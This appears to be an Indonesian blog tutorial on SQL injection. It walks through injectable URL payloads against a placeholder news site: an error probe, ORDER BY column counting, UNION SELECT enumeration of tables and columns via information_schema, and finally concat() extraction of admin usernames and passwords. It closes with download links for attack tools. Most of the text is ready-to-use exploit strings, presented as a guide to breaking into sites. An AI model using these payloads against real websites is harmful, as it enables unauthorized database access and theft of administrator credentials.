Apa itu SQL Injection

admin
0
Apa itu SQL Injection? SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat meng insert perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter 

Got Error,  Hal pertama yang harus kamu lakukan adalah mengetahui apakah situs tersebut terkena celah SQL Injection atau tidak, yaitu dengan membuat sebuah error dengan menambahkan karakter ‘ setelah url. Example : http://situsq.com/berita.php?id=14’ Apabila terlihat pesan error seperti ini : You have an error in your SQL syntax.You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1,  Maka bisa dipastikan situs tersebut terdapat celah SQL Injection… 

Next Step Nah setelah mengetahui bahwa di situs tersebut terdapat celah SQL Injection maka yang harus kamu lakukan selanjutnya adalah menghitung jumlah table yang ada di dalam databasenya  caranya dengan perintah “order by” Example : http://situsq.com/berita.php?id=-14+order+by+10/*
Uuppss… mengapa “-14”? karena -14 bukanlah id berita yang valid… trus 10, angka buat apaan tuh? Hhmm… untuk mengetahui jumlah tabelnya pertama-tama kita harus menebak terlebih dahulu apabila muncul pesan error seperti ini : Unknown column ‘10′ in ‘order clause’ berarti jumlah tebakan kita salah, but klo situsnya muncul seperti biasa berarti jumlah tebakan kita sudah benar :D… trus karakter “+” dan “/*” gunanya buat apa? + <=- sebagai penghubung perintah Atau dapat juga diganti dengan : /**/ %20,  Sedangkan karakter “/*” adalah karakter penutup perintah sql atau dapat juga diganti dengan : – Nah klo semuanya udah jelas sekarang kita lanjut pake union… 

buat mengetahui angka berapa yang show Example : http://situsq.com/berita.php?id=- 14+union+select+1,2,3,4,5,6,7,8,9,10/*,  Nah apabila muncul angka yang tadinya gak ada dihalaman tersebut berarti itulah angka yang show… nah angka yang show itulah yang nantinya bakalan kita injek,  pertama kita cari tau version mysql yang dia pake, apabila tadi yang muncul adalah angka 4 maka kita akan pake angka 4 Example : http://situsq.com/berita.php?id=- 14+union+select+1,2,3,version(),5,6,7,8,9,10/* 
Nah klo misalnya yang keluar ada angka 5 berarti situs tersebut memakai database versi 5… nah klo udah tau versinya sekarang kita cari tahu nama databasenya caranya cukup ganti “version()” tadi dengan “database()”… 
Next seumpamanya tadi versi 5 berarti kita bisa pake perintah information_schema untuk melihat tabel & kolom yang ada di dalam databasenya. Example : http://situsq.com/berita.php?id=- 14+union+select+1,2,3,table_name,5,6,7,8,9,10+from+informat ion_schema.tables/* 
Selanjutnya kita harus menambahkan LIMIT di akhir url untuk melihat tabel-tabel yang lainnya… Example : http://situsq.com/berita.php?id=- 14+union+select+1,2,3,table_name,5,6,7,8,9,10+from+informat ion_schema.tables+limit+0,1/*
Selanjutnya kamu tinggal merubah angka 0,1 menjadi 1,1 dan 2,1 begitu seterusnya sampai kamu menemukan tabel-tabel penting yang ada dalam database seperti “tbl_admin, tbl_user, users dll”… 

kalau sudah keliatan semua s’lanjutnya kita akan melihat kolom-kolom yang ada dalam tabel yang kita dapatkan tadi caranya hampir sama dengan cara mencari tabel tadi. Example : http://situsq.com/berita.php?id=- 14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+informa tion_schema.columns/* 
Setelah itu mmenggunakan limit 0,1 dan seterusnya Example : http://situsq.com/berita.php?id=- 14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+informa tion_schema.columns+limit+0,1/* Sehingga kita menemukan kolom-kolom seperti “username,password,email dll” atau kamu bisa mencari tabel user dengan menambahkan perintah where table_name=’user’/* Example : http://situsq.com/berita.php?id=- 14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+informa tion_schema.columns+where+table_name=’user’/* 

Biasanya untuk lebih memudahkan menemukan tabel dan kolom saya sering menggunakan sebuah tool yang bernama schemafuzz.py tetapi setidaknya kamu harus mengerti cara diatas terlebih dahulu karena tool disini hanya alat Bantu saja… Got Password Nah,,, disinilah inti dari SQL Injection… yaitu mendapatkan password admin… apabila tadi kamu telah menemukan tabel admin yang bernama “tbl_admin” dan kolom-kolomnya seperti “username,password” dll sekarang untuk melihat isi dari kolom username dan password tersebut kamu akan menggunakan concat. Example : http://situsq.com/berita.php?id=- 14+union+select+1,2,3,concat(username,0x3a,password) ,5,6,7,8,9,10+from+tbl_admin/* 0x3a <=- adalah pemisah kolom username dan password agar dapat dibedakan yang mana password dan yang mana username atau dapat juga diganti dengan char(58). Sekarang dah dapat passwordnya??? Tunggu apalagi?? Lapor ama admin… xixixixi SQL Injection Tools Untuk mempermudah proses SQL Injection kamu dapat menggunakan beberapa tools seperti dibawah ini : SQLNinja

http://rapidshare.com/files/141976022/sqlninja-0.2.3.tgz Schemafuzz http://rapidshare.com/files/141977412/schemafuzz.py SQLDataExt http://rapidshare.com/files/141977790/dataext.pl SQL Power Injection http://rapidshare.com/files/141978979/sqlpowerinjector.xpi Blindfuzz http://rapidshare.com/files/141979105/blindfuzz.py

Post a Comment

0Comments
Post a Comment (0)